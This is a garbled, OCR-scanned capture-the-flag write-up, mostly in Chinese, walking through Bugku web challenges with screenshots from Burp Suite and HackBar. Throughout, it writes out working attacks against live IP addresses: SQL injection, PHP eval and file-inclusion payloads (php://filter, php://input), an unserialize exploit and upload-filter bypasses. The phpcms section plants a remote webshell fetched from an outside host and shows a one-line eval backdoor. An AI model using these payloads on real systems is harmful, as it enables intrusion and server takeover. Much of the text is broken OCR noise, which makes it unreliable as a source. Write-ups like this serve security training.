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<html xmlns="http://www.w3.0rg/1999/xhtml">
» <head>..</head>

+ ¥ <body id="body" onload="init()"> == %@
<l--flag KEY{Web-2-bugKsshNikls91le@}-->
<script type="text/javascript” src="]s/ThreeCanvas.js"></script>

</body>
</html>
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Burp Intruder Repeater Window Help

Target Spider | Scanner [ Intruder Repemrhequencer Decoder | Comparer | Extender | Options | Aletts

[1:]2 < o] - |
Go || Cancel | [ <Iv || >Ir Target: hipi/H;

Request Response
Raw | Params | Headers | Hex Raw  Hex
POST /) HTTF/J 1 [x |
Host 238.227.13: 10085 P
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lecepe-Encoding: gzip, deflate
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Commsction: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/ ; poundary= les152627120438
Content-Length: 35355
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Content-Disposition: form-data; nawe="file"; £ilename="3.png"
Content-Type: image/png
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Styles | Computed Event Listeners >
html xmlns="http://www.w3.0org/1999/xhtml

» <head>..</head Filter thov .cls +
¥ <body
span id="code" class="code" style="background: rgb(1e9, 73, 33); color: rgb(169, 242, 124);">84+77=?</span
input type="text" class="input” maxlength="123

element.

¥

tyle {

button id="check" /button -input { 29
»<div style="text-align:center;">.</div width: 1eepx;
script src="js/jquery 2.3.min.js"></script }
script type="text/javascript” src="js/code.js"></script input:not([typel), user agent stylesheet
/body — input[type="email™ i], input[type="number"
/html i], input[type="password” i],
input[type="tel” i], input[type="url” i],
input[type="text" i] {
padding:» 1px @px;
input { user agent stylesheet
-webkit-appearance: textfield;
background-color: [Jwhite;

-webkit-rtl-ordering: logical;

user-select: text;

cursor: auto;

put. paddingsd dpe; =
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SEI6 http://103.238.227.13:10083/index. php?id=%df%27 or 1%23

SQUlE X |+ X
€ © 103.238.227.13:10083/index.php?id=%df%27%200r%201%23 c by wB 4+ a B 8-

2 mamn [@ ez [@ oz [[ez @ ooss: [ests [ sor @ imaros [ =z [[ess [[ sy [ e2fxaw [4 sEmiphone @ #F L
INT ~ = @& SQL- XSS- Encryption- Encoding- Other-
@ Load URL | http://103.238.227.13:10083/index.php?id=%d{%27 or 1%23

% split URL +
» Execute

[T] Enable Post data [ ] Enable Referrer
SQLIENME

Eifkeyz,id=10string="E&

id 1

key fdsafdasfdsa
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@& Load URL | http://103.238.227.13:10083/index.php?id=%d{%27 union sele|ct 1%23

U Split URL
» Execute \

[ ] Enable Post data [ ] Enable Referrer
SQLIFEN M

EnflkeyF,id=1/string="E&

The used SELECT statements have a different number of columns

T HX B THIRR, BONEARZkeyR, ATHAT LU RKBREIE http://103.238.227.13:10083/index. php?

id=%df%27 union select 1, table name from information_schema.tables%23

RERMNBEBRMLEPSBE — /DA, keyliRFBANERRULSENR, RMNEAREGEME, payloadl T

S J5 BRI DR B — A hashff, 45 RKEY{54f3320dc261f313ba712eb3f13a1f6d}

SQLIEA
ARG T BRIBA . —TFUE B T UCAREE, HERFREERT . MHZHERI A KEE—-BEERER,

MRFHERGYE, EREAGE? RATWEZA B

/ /xssIdiE
$id = strip_tags($id);
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INT v = & SQL- XSS- Encryption- Encoding- Other-
@l Load URL | http://103.238.227.13:10087/index.php?id=1 o<>rder by 2#

i Split URL
’ Execute \

[ ] Enable Post data [ ] Enable Referrer

/ /idiEsql
$array = array('table','union','and’,'or', 'load_file", 'create’, 'dele
foreach ($array as $value)

', 'select’, 'update’, 'sleep’, 'a:

{
if (substr_count($id, $value) > @)
{
exit("ERFESSET | ' .$value);
3
}
//xssidiig \

$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

<
LpisEE
id 1
title title

ALEERHER ARG, BURRIBER RSunionEW GER) HEHEEHMHKRT (RRBT..0O

p:S: NN

BRI F A A, 2 REEKES. . (HE2EEKHERSFHubuntuf) e, EEFLUXANRESH/AZ, TREITbashig 4,
{HR I Hphp IR BIF T . R ANeval( “var_dump($a);”); XAJi%. payloadin T

://post2.bugku.com/hello?hello=);print_r(file(

INI ¥ = & SQL- XSS- Ekncryption- Encoding- Other-

PR L1 RV RN tp://post2 bugku.com/hello?hello=);print r(file("./flag.php™); /
% split URL

» Execute

[] Enable Post data [_| Enable Referrer

Array ( [0] => $flag = 'Too Young Too Simple’; [2] => # echo $flag; [3] => # flag{ccd234c9-c022-4ce” . [4] => 7> ) <?php
include “flag.php”;
Sa = @S_REQUEST[ hello ];

show_source (_ FILE_ );
ko



JE RB R T AR XL
flag{ccd234c9-c022-4ce3-8a62-e56374e3324f}

634
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INI v| = @ SQL- XSS+ Encryptions Encoding- Other-

@l Load URL | http://post.bugku.com/web1/index1.php?args=GLOBALS
U Split URL

2 Execute

[] Enable Post data [ ] Enable Referrer
include “flagl.php”;
highlight_file(_ file_);

if (isset($_GET[ args’ 1)) {
Sargs = $_GET[ args |;
if (!preg mateh(”/ \w+$/”, $args)) {
die ("args error!”);

}

eval ("var_dump ($$args) ;") ;
»
array(7) { ["GLOBALS"]=> array(7) { ['GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } [*_COOKIE"]=>
array(0) {} ["_FILES"]1=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { }
[" GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ['ZFkwe3"]=> string(38)
"HEREREERET T e e ["args"]=> string(7) "GLOBALS" }
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HTTF/1.1 200 OE

Connection: close

Date: Tus, L1l Apr 2017 13:24:29 GHT
Serwver: Microsoft-IIS/E.0
¥-Powered-By: ASP.MNET

¥-Powered-By: FHPF/5.2.9-2
Content-Type: text/html;charset=utf-©

O<html>

<title>BKCTF-WEB4</title>

<hbody>

<div style="display:none; "></div>

<form action="index.php" method="post"™ >

000000 <l =

<hrs

<script>

var pl =
'EE6TIN6e%63%TAR69%6E%6e%20%63%6BL65%63%6b%5ILTHR62%6d%69%T4%28%29%ThET6%261%T72%20%61%3d%64%6E%63%T75%6d%65%6e%T4%2
L6 TE65%T4%45%6Cc165%6d%65%6e1T4%42%T70%49%64%28%22% 705615732738 TTH6ELT2264%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6
er65%64%22%21%3d3 745792 T70%65%6E%66%20%61%29% The69%66%28%22%36%3T7%64%37230%39%62%32%62" ;

var p2 =
'EH1X61%36%34%IBR6IL66LI6H6EIBLITEALE3ITHEILLILLIAX66%31%22%3d33d%61%2e%THR61%6CHTIHREIL2OT2R65%TLA%THET2%6e221%30%3
bu61%6cH65%T2474228%22%45%T72%T2%6E%T72%22%29%3b%61%2e%H66%6E163%T75%73%28%29%3b%T2%65%74%T75%72%6e%21%31%74d%7d%64%6E%6
3% 75%6d%65%6e2 742256 TH65%T4%45%60%65%6d%65%6e%T74342%T79%40%64%28B%22%6CH658T6%65%6cE51%T5%65%732T74%22%29%2e%6E%6e%7
3% T5E62%6d%69%7423d%63%68%65%63%6b%A3%T5%62%6d%69%74%3h!'

eval{unescape(pl) + unescape('%35%34%61%61%32' + p2));

</script>

<input type="input" nams="flag" id="flag" />

<input type="submit" name="submit" wvalus="Submit" />
</ form:
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Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner | intruder Repeaterhequencer Decoder | Comparer | Extender | Options | Aletts

[1:]2 < o] - |

Go Cancel >r

Request

Raw [ Params | Headers | Hex

Response

Raw | Headers | Hex | HTML | Render
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flag7t index &

EAEHE 2 CHAE. . EiFRrflagiEindexphp™d, HEEEER, BEEHIEANET, RERITEBurlZox? file=...

&, FRX— TR 2ag

» REBICHE



EY Burp Suite Professional v1.5.18 - licensed to Larrylau

Burp Intruder Repeater Window Help

[ Target T Proxy T Spider I Scanner T Intruder TRepeate( T Sequencer T Decoder I Comparer T Extender T Options I Alerts ]

1 [2x (3 x [4 = |oSus
Go Cancel <" >|r Target: http://b.post.bugku.com | # || 7
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex HTMLTRender]
GET - HTTF/L1.1l 200 OK .
/post/index.pHh?file=php://filter/convert.basefd-encode/resource=index.php  J§ [ Server: nginx -
HITP/ 1.1 Date: Mon, 15 May 2017 0Z:58:03 GMT
Host: b.post.bugku.com Content-Type: text/html
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:53.0) Gecko/Z0Ll00L10L1 Connection: keep-alive
Firefox/53.0 Feep-Ailive: timeout=g0
Acceprt: text/heml,applicacion/xheml+xml, applicacion/xml;q=0.5,%/*;q=0.8 Concent-Length: 561
Aocept-Language: zh-CH, zh:q=0.8,en-US:q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate <html>
Connection: keep-alive <title>Bugku-ctf</title>
Upgrade-Insecure—-Requests: L
P DQogICAGP 1PkiT1Z2t 1LWH0Zjwv dG10bGU+D Qo g T CAgD () 08P 3Bo cADKCHVycm9IyX
371c69ydGluZygwKTsHCglpZighdF SHRVRbZmlsZV0pe2Vj aG8ygdzxhIGhyZWY9IidvaW SkZXguct
hwP 2ZphGU%c2hv dy SwaHAiPmilsaWlrIG11PyBubzwv¥TAn0300CgkkZmls ZTOkX0dFVE snZmlsZ5d
A0wOKCWImEHN O cnl0cigkZmls ZSwilidv Ii18fHNO0cmlzdHIod GZpbGUsICI0cCIpEfHxzdHTp c 3Ry
ZmochZ zpmb GFn e 2VkdWc bml £ ZWxpZ19 sYWHvbF 9z aV9zaWhOf QOKP z4NCjwy aHRthD 4NCg==</htm
1=
b =
5 L
2 < + > ‘ 0 matches ? < + > Type a search term 0 matches

Done

726 bytes | 118 millis

E” Burp Suite Professional v1.5.18 - licensed to LarryLau

Burp Intruder Repeater Window Help

[ Target T Proxy

Spider I Scanner T Intruder T Repeater T Sequencer TDer.m:le{ T Comparer T Extender T Options IAIerts ]

Rhlikpew0KCQIIY 2hviCJPaCBubyEiOwIKCQlleGIOKCK7DQoFQOKCWIuY 2x17GUoJ GZ pbGUpOyANCigvZ mxhZz pmbGFne2VkdWsjbmifZWhpZI 9sYWNvbF 9zaVazaWh(fQOKPz4NCjwvaHRtbD4NCg==

@® Text (O Hex u

Decode as . v
Encode as . -
Hash A

H

7>
</html=

include{$file);
IMagflag{edulcni_elif_lacol_si_siht}

Ehé ~ Tl l Smart decode J
3 e T I T TR Iy T L -
echo "Oh nal”; A @ Text (U Hex
exit();

Decode as ... v
Encode as ... v
Hash _.. v

l Smart decode J

phpcmsV9

RARHE REphplsiAER 2 —, e ecmsz—, T HARIG LML T FIELFER T phpemsOfisi, 1EHF EFI)L—T.
Hirfrflagfifir B, BT AR BEMER M L (REARGER mysqlEATRIRD .

Rt




http:

X5

WRESRAMEBIERE, AEWiEpayload

FATET LA Blwww.bugku.com/tools/phpyijuhua txtl & AT/ N S bt T, SE&EERN—AEAS T . R)5E EE G 2R Emysql
AR EfE ML, X BB R GEL B AX AN Hh bk AN T e (2 2 SR AE D

€ O phpcms.test.bugku.com/index.php?m=member&c=index&a=register&siteid=1 c HE wBa ¥4 [ )] w

18 sxmE @ o [@ o [ ez [ oo [ eess @ sor @i @ sz [ees [ serr [ essrn [ sEsiphone @ #iF L
INT v = & SQL- XSS- Encryption- Encoding- Other-

@ Load URL | http://phpcms.test.bugku.com/index.php?m=memberd&c=index&a=register&siteid=1

% Split URL
*) Execute

Enable Post data [_| Enable Referrer
Post data

siteid="1&modelid=118wusername=jdmkdd&password=jdmkdd&email=1234jmmkdd56@qq.com&info[content]= <img src=http://file.codecat.one/normalOneWord.txt#.jpg > &dosubmit=18&
protocol=

MySQL Query : INSERT INTO "phpcms’.'v8_member_detail'('content’, userid’) VALUES ('<img src=jjufs
MySQL Error : Unknown column "content' in ‘field list'
MySQL Errno : 1054

:/[phpcms.test.bugku.com/uploadfile/2017/0516/20170516082537386. txtuiFy]

Message :
Need Help?
@ phpcms.test.bugku.com/uploadfile/2017/0516/20170516082537386.txt c H#x

ER-rnol C vl C K=1=8l C b=l C ES=i5inl C PeE==dl C =l C Pz Zi A C Escct- Al C Lt C B Sl C - 8 C B
INT v = @& SQL- XSS- Encryption Encoding- Other-

& Load URL
4 split URL

J Execute

Enable Post data [ | Enable Referrer

Post data

<{?php @eval ($_POST[" akkuman’ ]);?>

AUE B A, REBATE ELEEIEMAL ! php3fF



sawE @ mice 4 ae 4z [ omss 6 esrs [ sor @ sirs [ =g [ ees [ sk [ smxtn 6 masiphone @ #F ik

INT ¥ = @& SQL- XSS- Encryption- Encoding- Other-
@ Load URL | http://phpcms.test.bugku.com/index.php?m=member&c=index&a=register&siteid=1
¥ split URL
v Execute
Enable Post data [_| Enable Referrer
Post data siteid=1&modelid=118&wusername=jdm22kdd8&password=jdmk2dd&email=1234jmm12kdd56@qq.com&infolcontent]= <img src=http://files.hackersh.cn/webshell/antSword-shells
/php_assert.php#.jpg>8&dosubmit=1&protocol=

MySQL Query : INSERT INTO "phpcms’.’v9_member_detail ('content’,"userid") VALUES ('<img src=http://phpcms.test.bugku.com/uploadfile/2017/0516/20170516093438761.php>",'174')

MySQL Error : Unknown column ‘content' in 'field list'

MySQL Errno : 1054
Message :

Need Help?

ER! XEF-RKEXNNRKS HHIIRETERHR, SUXRK

B#E FHarryiR M TR, bfEAG

# BugkuEIBAPHPcms vOFIFFTE

N B BtR: |phpc|ns‘ test. bugku. com

|

i TR S

® phpems ¥V9.6.0

. N EpdEE it |'ﬂ'ﬂ'ﬂ. bugku. com/tools/phpyijubua. txt

e

EHht

fh

shell

s

http://phpems. test. bugku. com/uploadfile/2017/0516,/201705160120. . .

B

WG EfE—RER LIRBSban T, EARSSFEARKBIF ! BRR, F—2HEIRTIER! | AR T!

] fwebs
120.24.86. 145
B/
=]
B 1) uploadfile
= I 2017
=3 o516
=) 0513
I 0510
I 0514
= 0511
) 0512
=) o518
E:] poster
I install
E ) phpems
3 templates
I plugin
7] languages
I model
2 1ibs
I modules
ﬁ html
I readme
I7) phpsso_server
2 api
[0 staties
I caches

== . oan il

m Bphpnms. test. bughu. ..

BF(10), 37 (13)

phpems. test. bugku +

EH

= html

) readne

=) phpsso_server
= api

I3 staties

I3 caches

2 install_package
@ index hinl
W flagtda. txt
@ 17B5. htn

D’ NewFile. txt
(=] crossdomain. xml

o =pi. php

f adnin php

c Js. html

x phpems_v9. 6. 0_UTFS. zip
o index. php

E’ robots. txt

i plugin. php

[ favicon. ico

Bl

2017-05-10
2017-05-10
2017-05-10
2017-05-10
2017-05-10
2017-05-10

2017-06-16
20170509
2017-06-10
2017-05-14
2017-05-10
2017-05-10
2017-05-10
2017-05-10
2017-04-18
2017-06-10
2017-05-10
2017-05-10
2017-05-10

:16:
(09
(09
(09
:09:

119
(09
13l
:09:
:09:
:09:
109
139
(09
(09
:09:
:09:

21
47
47
46
47

01
47
16
46
46
46
46
43
46
47
47
46

Fes
4096
4096
4096
4096
4096

9900
26
3591
0
104
991
43
623
8727683
318
17
3621
3158

v

Eit
07es
07es
07es
07ss
0755
6F55
07es
oFrT
0644
0644
0644
0644
0644
0644
0644
0644
0644
0644
0644
0644

R

- X
EH#A— 2017-05-16 (MAH—

* B [C #Esl
A3
hello
adsfdf
20070413

) Bi2{AE
i

_GB2312




|] = phpems. test. bughku. . . x
A Fweb/flagtda. txt v #BE EH#E— 2017-05-16 PIHH—
flag{adnin_a23-ae2132_kewil a5 iﬁéﬁ%ll
AR
hello
adsfdf
20070413
Gl
HRiES

ST B R AIRIREA A L
MAZEEEflag

HAREETHE, WMASNENHTHIlag, —FLMHT, B2L8I10GMFR, ENRRLEH, HELEK, HREAFE
PHEENAE, EHEBBEW, REWT:

BRI ST 2L, 2 BURE, WLRRISR



JEEC\Windows\System32\cmd.exe - python "C\Users\Assassin\Desktop\MYptrhon.py”

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1

5 3flag: flag{bugku-baopo-hah}

HI LR
467 LR T LA 5 6

® 47.93.190.246:49162
PET , WEESRENEN , FEEXES  HORF.
HFAE | SARNSSE TN ;. g7
BT , EERHONFORTHRIANMD, AT ? EEER 7
B4 RERRGR TS ? " SRANEEEES , B ANFEAINE. ...
HREBIA. WE , wek—ifis
RO PBEER AT TS, BEREROOAATHTS , S5 BIHELOL
x 4 Performance EditThisCookie

Memory

Application  Security

SR B SR R 2 Wah . “EA T FHRERE

L ANAEIR R 7Y PSR RN, REAMBEMAR..
Y5
"RRERRA .U, Bk
a cla link" href="code.txt" target="_blank">#{%</a
p rF 7B, BATEERI LA AAGE L
p
I AN

p
html  body d

Console

X5 THRBDE B & f6 H Kphp T

bA g
*  OKis
+ 0.4K/s

o1

Styles | Computed Event Listeners

display: block;
-webkit-margin-before: lem;
-webkit-margin-after: lem;
-webkit-margin-start: epx;
-webkit-margin-end: opx;

border =

<=1 1246670 x 20.667 |-, - |-

h |
h |
h |
h i
| padding - 1
i |
h |
h |
h \
h |

35

thov .cls +

user agent stylesheet




1) &&
15
15
= [ 15
&8& md5( == md5( A

(!stremp(tve, A

FIFH 2 i iimd5 59K RILEC Mstremp I B dHgetiiif, stremp (B4, F/FH) ==0, RERMN1MiEpayloadin T

http://47.93.190.246:49162/?v1=QNKCDZ0&v2=240610708&v3| ]=0

5 3flag

{Php_1s_tH3_B3St_L4NgUag3}

RS E

RANEN, BBRBEEKFEANEAT ...
JeRt Zikunion &), WXFIE, KL

> Execute

Enable Post data [] Enable Referrer

Post data l id="union select 1,1,1,1#

1,2,3...

Submit

189 SRER

Math English Chinese

RGBSR DU ERREN KR, W LR 2 4R 51 B )
33

SCHEMA_NAME information_schema.SCHEMATA limit ', ), , !, #

table NAME information_schema.tables limit <0, 1), , 1, # #fl4gHImSi%




BINBRAKRS TE T AR

WEE XA, R —Lk

REHZEAMNET, payload

( skctf_flag flag limit ©,1), , , #

{Sql_INJECTON_4813drdshz4}
[E X B T sqlimap postiE NI 1%, EIEEE
sqlmap ] postiE \ 77 ¥

Web6

RNMEERORMEEE, —FBBRRELKIheadersH fiflag, R/Ebaseb4E % Fiikpostitss, §—MAAIT T, HEE,
REFEERE—NHE,
MBEM 2RI, BIRV; K fRcookie & LK) ... BT LAWY .. Fpython S IIAS iy 58, FEZE M E&iE. JEM ESE. FEME
..

AR

requests,base64

re



http://blog.csdn.net/qq_35078631/article/details/72865354

flag
{111dd62fcd377076bel8a}

Cookielx¥w? ? ?

Al B ficookietit, BB M A — AR, HAEAI LLE Blfilenamebase64 N G A A, Zidilkline2ETH,
RIERAIZ KL index php4< &

B 3]index.phpEARIL 1T

error_reporting(“);
=base64_decode( ( [ 1)2
= ( [ 1)?intval(
=="'") header(

(in_array( ,
= file(

[

by

R R I —A~cookie, ikkeys.phpiI NGEXHFIEF, R/J5 B ELEkeys.phpEl 7], payloadin ™




{key_ keys}

XSS

BTATEIEARRS AT A B kA T

document.getElementById( ).innerHTML = s;

RIEBANVERZESHR R, HEMHESRIBIIE

http://103.238.227.13:10089/?1id

REZsEH, BRBAFEZRANLE...

RJEBATE R KB, KILAT LAk Elpayload

PUONE#EIE « M7, <M elt; B, WAKZRRTAA, Pt X IiE.

AT
never give up

HAFEAFERYE, FI2EFIRN, RKIAERR1phtm? RERX—T, KRAZRFEIRIZET . REHbupil—T&, K3

Request Response
Raw | Headers | Hex Raw | Headers | Hex | HIML | Render ]
SET /test/lp.html HTTP/1.1 A Last-Modified: Mon, 15 May 2017 15:27:45 GMT
fost: 120,24, 86.145:8008 r Connection: close
Jser-Agent: Mozilla/5.0 (¥11l: Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0 Content-Length: 1371
wccept: text/html,application/xhtml+xml,applications/xml;g=0.9,%/+;q=0.8
\ccept-Language! en-US,enig=0.5 <HTML=
\ccept-Encoding: gzip, deflate =HEAD=
lonnection: close <SCRIFT LANGUAGE="Javascript">
Jpgrade-Insecure-Requests: 1 <lan
var Words

="%3Cscript%3Ewindow. Location. href%:30%27http%3A7 /www. bugku. con’27%3B%3C/ script%3E%20%0A%3C
%21~ - JTIy JTHCaWYLHj gL Hj ELHj RFROVUITVCITIZaW0LHj LNUGLH] KL HEELNOTLHEELHDL 0 2WFkZXT1Hj gLHj dHb
2NhdG1vbiUz0SUyHGhLbGxvLnBocCUZRMLk ITHEHSUY HyUy0SUZ04 U SUWOWV 4aX 01 Hj gL Hj KLHOTUHEELNOQT HEE
1Hj RpZCUzRCUyNF9HRVOL NUILHj dpZCUyNyU1RCUZ0iwOSUyNGELHOOLHj RFROVUITVCITI3YSUyNYULRCUZ0i kG
SUyNGILHOOLHj RFROVUITVCITI3YilyNyULRCUZ0iUwOWL mITI4c3RyaXBvcyUy0CUyNGELHKHLH] culTIZITISITI
5JTBBITACITBBITAS ZWNobyUyHCUyN25v ITIwbm81Hj BubyUyHG5v ITIwbm8LHj BubyUyHGSv ITI3JTNCITBBITASC
mVodX JuITIwITNCITBEITAE ITBBITIOZGF 0YSUYHCUZRCUYHEBmak X1 X2d1 dF 9] b250ZWS0cy Uy 0CUYNGELHKWLHG d
yITT3ITISITNCITEBaWY Hj g1 Hj RkYXRhITHE ITHEIT Ty YnVna3ULHj BpcyUyHGEL Hj BuaWN1 ITTwcGxhd6Vnb33t 3
TIxITIy ITIwYWSkITIwITI0aWOLHOOLHOOwW ITIw YWSk ITIwc 3Ry bGVuITI4 ITIOV iUy 0SUZRTULHj BhbmOLHj Bl cmV
naSUy0CUyHj ExHSUyHiSzdWIzdHI1Hj gLHj RiJTIDHCUY0ZELH] KLHKHLHj IxHTEOJT Iy JTISITIwYWSkITIwc3Vic
3Ry JTI4ITIOVilUy0zALHkHx ITISITIx JTHENCUY0SUWQSU30ilw0SUWOX I cXVpcmULHj gLHj InNGwy Y THnLnR4dCu
yHily0SUZ01UwOSUSRCUWOWVSC2UT HEELNOTL HEELHDLwenl udCUyHCUyHmS1dnVy T TwbmV2ZXTLHj BuZXZ1 cillyH
GdpdnlUL Hj B1cCUyHCUyHSUy HSUyHSUyHi Uz 0 i 0SU3RCUWOSUW 0S U 0 SU=RE UzRQ% 30% 3D - -% 3E"

function OutWord(}

{

var HewWords;
Newilords = unescape(Words);
docunent. write(NewWords);

3
OutWord();
[l o>
</SCRIPT=
</HEAD=
<BODY>
</BODY=
</HTML=

T

Mt RAR R urldecode— T, KIL—/ base64 K% 3L, % G H#E1Turldecode, 78%|—EB g



KERBNT .. —EREGRY, BERREREGRBAUL...

& C | (D 120.24.86.145

flag{tHis_1iS_THe fLaG}

{tHis_iS THe flLaG}

ERIEMRMAWE! 2R RE A




@l Load URL | http://120.24.86.145:8006/test/hello.phprid="Flag"

) &a=php://input
% split URL &b=%0023333

v) Execute
A Enable Post data [ |Enable Referrer

I bugku is a nice plateform!

flag{tHis_iS_THe_fLaG}

welcome to bugkuctf

B R RETEF 120 5 B YRS

R &

INT v | = & SQLv XSS5v Encryptionv Encodingv

@ Load URL | http://120.24.86.145:8006/test1/index.php?
. txt=php://input
& SPUEURL | gfile_hint.php

») Execute |

Otherv

% Enable Post data [ |Enable Referrer
IEinn welcome to the bugkuctf
hello friend!

RIBAT 24531, MA—TFXHEE, ARMT



@l Load URL | http://120.24.86.145:8006/test1/index.php?

. txt=php:/finput
g% Split URL &file=php://filter/convert.base64-encode/resource=hint.php

v} Execute

@ Enable Post data [ |Enable Referrer
I welcome to the bugkuctf
hello friend!

PD9waHAgIAOKICANCmMMNSYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQoglCAgcH

base64f# %15 3

{
( ( ->file)){

file get contents( ->file);

3

)3

RILT L HH0__toStringH i, (EREFMKIKIFAR ! 5% RindexphpibiBE R, TREERE

@ Load URL | http://120.24.86.145:8006/test1/index.php?

spli xt=php://input
L &File=php://filter/convert.base64-encode/resource=index.php

Execute
% Enable Post data Enable Referrer

Post data welcome to the bugkuctf



)&&(file get contents(

(preg_match(

{
( )5

= unserialize(

R R F I RSk toString/B . It — TFpasswordl, BHEAMMUEEIAT

@l Load URL | http://120.24.86.145:8006/test1/index.php?

) txt=php://input
% SPUtURL | gfile—hint.php
') Execute | &password=0:4:"Flag":1:{s:4:"file";s:8:"flag.php";}]

Enable Post data [ |Enable Referrer

Post data welcome to the bugkuctf

hello friend!

goad

Jtestl/index . php?txt=php://input&file=hint . php&password=0:4:%22Flag%22:1:{s:4:%22file%22;5: ¢ Server: nginx

8:%22flag. php%22;} HTTP/1.1 Date: Thu, 03 Aug 2017 09:49:30 GMT
Host: 120,24, 86.145: 8006 Content -Type: text/html

User-Agent: Mozilla/5.0 (¥11l; Ubuntu; Linux xB86 64; rv:54.0) Gecko/20100101 Firefox/54.0 Connection: close

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*%;q=0.8 Content -Length: 379
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip., deflate hello friend!<hr= <=?php

Content -Type: application/x-www-form-urlencoded //flag{php_is_the_best_language}
Content -Length: 23 Y==hbr=good

Connection: close

{php_is_the_best_language}

o — ) iE



BREH—a)E, —HHERUAERME LERXAN—GERE, HEREAARE, BRRWUEEANRK, %
R http://120.24.86.145:8010/ ?s=phpinfo() KA LLFIFH .
MR E %, KA 0, system(Is”) iR, FIRERIREHI FIEM RS TIE, FRIKB T HphpBUCHFIR 1 7%
23333

@l Load URL | http://120.24.86.145:8010/?s=print_r(glob("*"))
% split URL
+) Execute

“|Enable Post data [ |Enable Referrer

Array ( [0] == conn [1] == flag.txt [2] => index.php [3] == xuan.php )

R G flag B AT, 224 print_r(file(flag.txt)) ANA PAER L3R F] show_sourcef¥) 77 ik:
F g
B EEE 2R

{bugku_web 009801 a}

FIEETERT == ZNEERERATREN, FA===RTKKNES, EEshalREEMNEFE, TeebEHH, TEUTH
118 Flflag



@ Load URL | http://120.24.86.145:8002/web7/
. 7id=margin
% splitURL &uname[]=233

») Execute

Enable Post data [ |Enable Referrer

Post data passwd[]=332

{HACK_45hhs_213sDD}

Web8

XAMEBRM R, AP T RIE S E iR BphpHfile_get contentsHIAS A LME . REEWE N T 53 fag

@ Load URL | http://120.24.86.145:8002/web8/?

. ac=1
& Split URL &Ffn=php://input
») Execute
@ Enable Post data [ |Enable Referrer
Post data

1

BRI Rt ? BRE A 43R

FAF? IEN?

A E BRI RIENREXKMA, BRRER. . ERHAAERASW. FrCARAE —MRRMMAER T, HEITIFTMIE

{3cfb7a90efcode31}

B KB IIE R preg_matchrH i) P9 AW, X BRI —T. & EHBEN



. 1 REAERTHROTFRHEEEFA, Wkey

. 2 REERFH

. 3 RBE—AR—FFIFHEE MM KL, B — DM FRHEEERRK
o 4\

. 5 [a-ZXFKa-zH ER—NDERF

. 6.[[punctRFAEE— AT, BEEHES

o 7 MREFE RN G U

. 8.{4-THRR[0-9] H 77 52 H I IR B 4-TIR

RJEBATE TR S E — TRt LT

http://120.24.86.145:8002/web10/?id

{0x0SIOPh550afc}

% A 0
AEERAWE, RIEJGHdirsearchAfi— T RE, KWHF

arget: http://120.24.86.145:8002/web13/

10:41:12] Starting:

R G A Erobots.ixt

@ Load URL | http://120.24.86.145:8002/web13/roboks.txt
i split URL
v} Execukte

Enable Post data Enable Referrer

User-agent: *
Disallow: /resusl.php

& resusl.php



PSR RE R 7, HaBE? 2 ? REHRERRMT —T, BEZMadmin.. Migx=admin.. 42,

i@ Load URL | http://120.24.86.145:8002/web13//resusl. php?x=admin
¥ split URL

) Execute

[JEnable Post data [_|Enable Referrer

3K getshell

BB EI%00H A AT, EREM, RBTRA, REZNMEF T —TRENBE.
BHARREX—T LERF

POST fweb®/index.php HTTP/1.1

Host: 120.24.86.145:8002

User-Agent: Mozilla/S5.0 (¥11; Ubuntu; Linux xB6_64; rv:i54,0) Gecko/20100101 Firefox/54.0
Accept: textshtml,application/xhtml+xml,application/xml;q=0.9, %/%;g=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Content -Type: multipart/form-data;

boundary=-----------cmomaaaaao o 214529036019682016093222251034
Content-Length: 340

Referer: http://120.24 86 145:8002/web3/index.php

Connection: close

Upgrade-Insecure-Requests: 1

----------------------------- 21452903801 98201 6093222251034
Content -Dispesition: form-data; name="file"; filename="flag|png"
Content-Type: image/png

----------------------------- 21452903801 98201 6093222251034
Content -Disposition: form-data; name="submit"

Submit
————————————————————————————— 21452903801 98201 6093222251034 -

HTTR/1.1 200 0K

Server: nginx

Date: Tue, 08 Aug 2017 ©3:17:23 GMT
Content-Type: text/html

Connection: close

Content -Length: 387

<html=

<body=

=form action="index php" method="post" enctype="multipart/form-data"=
Hy name is margin, give me a image file mot a php<br=

<br=

=input type="file" name="file" id="Ffile" /=

=input type="submit" name="submit" wvalue="Submit" /=

=fforn=

Upload Success<br>Stored in: <a href='upload/20170808111725 948 ipg
target='_blank'=upload/20170808111723 948. jpg<br /=</body=
=fhtml=

RO EAER R, iR E I filename i Biphp A R



php2, php3, php4, php5, phps, pht, phtm, phtml ¥R T & 2 54 31 ..
S KERER, %I EHEK Content-Type: multipart/form-data; BURK/PMNESTHIER, BN Content-Type:
Multipart/form-data; , SREEH—N— /MR, KIMphp5H] LAF| A

POST fweb3/index.php HTTF/1.1 i HTTP/1.1 200 OK

Host: 120,24,86,145:8002 r Server: nginx

User-Agent: Mozilla/S. 0 (¥11; Ubunmtu; Linux x86 64; rv:54.0) Gecko/20100101 Firefox/54.0 Date: Tue, 08 Aug 2017 03:25:52 GMT
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,%/%;q=0.8 Content -Type: text/html
Accept-Language: en-US,en;g=0.5 Connection: close

Accept-Encoding: gzip, deflate Content-Length: 268

Content-Type: Multipart/form-data:

boundary=s------cmm i 21452903801 98201 6093222251034 <html=

Content-Length: 340
Referer: htip

/F120.24.86.145: 8002/web9/index . php rm action="index.php" method="post" enctype="multipart/form-data"=

